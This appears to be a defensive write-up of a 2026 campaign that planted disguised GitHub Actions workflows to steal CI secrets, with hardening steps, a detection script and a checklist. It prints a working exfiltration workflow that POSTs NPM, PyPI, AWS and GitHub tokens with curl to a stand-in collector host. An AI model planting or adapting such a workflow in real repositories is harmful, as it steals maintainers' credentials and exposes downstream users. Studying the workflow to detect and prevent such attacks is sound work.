Between August and October 2026, a campaign researchers named GhostAction compromised maintainer accounts across hundreds of GitHub organizations and committed one thing in each: a plausible-looking CI workflow file that quietly shipped every secret it could reach to an attacker-controlled endpoint. GitGuardian tracked over 800 affected repositories and roughly 3,300 targeted secrets across the campaign’s lifetime; a second wave on October 8 compromised two more maintainer accounts directly and upgraded the payload to also scrape credentials out of the working tree and the full git history, not just configured Actions secrets. This isn’t a flaw in GitHub Actions itself — it’s what happens when a CI system is trusted with long-lived, broad-scope secrets and nothing stops an unreviewed workflow change from reading them.
How it worked
Once an attacker had write access to a repository (via a phished or credential-stuffed maintainer account), they committed a new workflow — often named something innocuous like .github/workflows/security-audit.yml — that triggered on push or workflow_dispatch, enumerated every secret configured in the repository’s Actions environment, and POSTed them to an external collector:
# .github/workflows/security-audit.yml — disguised exfiltration workflow
name: Github Actions Security
on:
push:
workflow_dispatch:
jobs:
audit:
runs-on: ubuntu-latest
steps:
- name: "Collect environment"
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
PYPI_TOKEN: ${{ secrets.PYPI_TOKEN }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
GH_PAT: ${{ secrets.GH_PAT }}
run: |
curl -s -X POST "http://collector.example-ghostaction.net/ingest" \
-d "npm=$NPM_TOKEN&pypi=$PYPI_TOKEN&aws=$AWS_ACCESS_KEY_ID&gh=$GH_PAT"
This works because GitHub Actions secrets are injected as plain environment variables into whatever the workflow’s steps execute — there’s no scoping by step, and any job that references a secret name gets its value. A workflow file is just another file in the repo: if write access (or a compromised maintainer token) is enough to merge one without review, it’s enough to harvest every credential the repo’s CI was ever given. The October wave went further, replacing the simple curl exfil with a script that walked git log -p across the entire history and grepped the working tree for AWS, GCP, and SaaS API key patterns — meaning a secret rotated out of config years ago but still sitting in an old commit was still exposed.
Why standard review didn’t catch it
Most of these repositories had branch protection on main, but not a required-reviewer rule scoped to .github/workflows/**. A compromised account with write access could push directly, or open a PR that auto-merged under existing CI-passing rules, without a human ever looking at the diff of the workflow file itself.
The fix
Treat .github/workflows/ as a privileged directory, not ordinary application code, and enforce it structurally:
# .github/CODEOWNERS — force a specific team to review any workflow change
/.github/workflows/ @yourorg/platform-security
Pair that with a required-reviewers branch protection rule scoped to that path, and replace long-lived PATs/API keys with short-lived OIDC-federated credentials wherever the provider supports it, so there’s no durable AWS_ACCESS_KEY_ID secret sitting in Actions for a rogue workflow to read in the first place:
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/ci-deploy
aws-region: us-east-1
# No static AWS_ACCESS_KEY_ID/SECRET_ACCESS_KEY secret exists to steal
Detect existing compromise by scanning your org for the indicator pattern instead of waiting for a vendor report:
import requests
GITHUB_TOKEN = "gateway-managed"
ORG = "your-org"
SUSPECT_STRINGS = ["collector.example-ghostaction.net", "Github Actions Security"]
def scan_org_workflows():
headers = {"Authorization": f"Bearer {GITHUB_TOKEN}"}
query = f'org:{ORG} path:.github/workflows "{SUSPECT_STRINGS[0]}"'
resp = requests.get(
"https://api.github.com/search/code",
headers=headers,
params={"q": query},
timeout=10,
)
resp.raise_for_status()
hits = resp.json().get("items", [])
for item in hits:
print(f"SUSPECT WORKFLOW: {item['repository']['full_name']} -> {item['path']}")
return hits
Checklist
- Add a CODEOWNERS entry and a required-reviewer branch protection rule specifically for
.github/workflows/**— don’t rely on your generalmainprotection to cover it. - Migrate static cloud credentials in Actions secrets to OIDC-federated, short-lived role assumption wherever the cloud provider supports it (AWS, GCP, Azure, npm trusted publishing all do).
- Enforce 2FA and, ideally, hardware security keys for anyone with write access to a repository that holds production secrets — this campaign started with account takeover, not a code flaw.
- Audit for workflow files you don’t recognize by name, not just by content —
security-audit.yml,ci-health-check.yml, and similar plausible names were used deliberately to blend in during review. - If you find a match, assume the secret is burned: rotate it, then also check whether it appears anywhere in git history, since the October variant specifically mined historical commits, not just current config.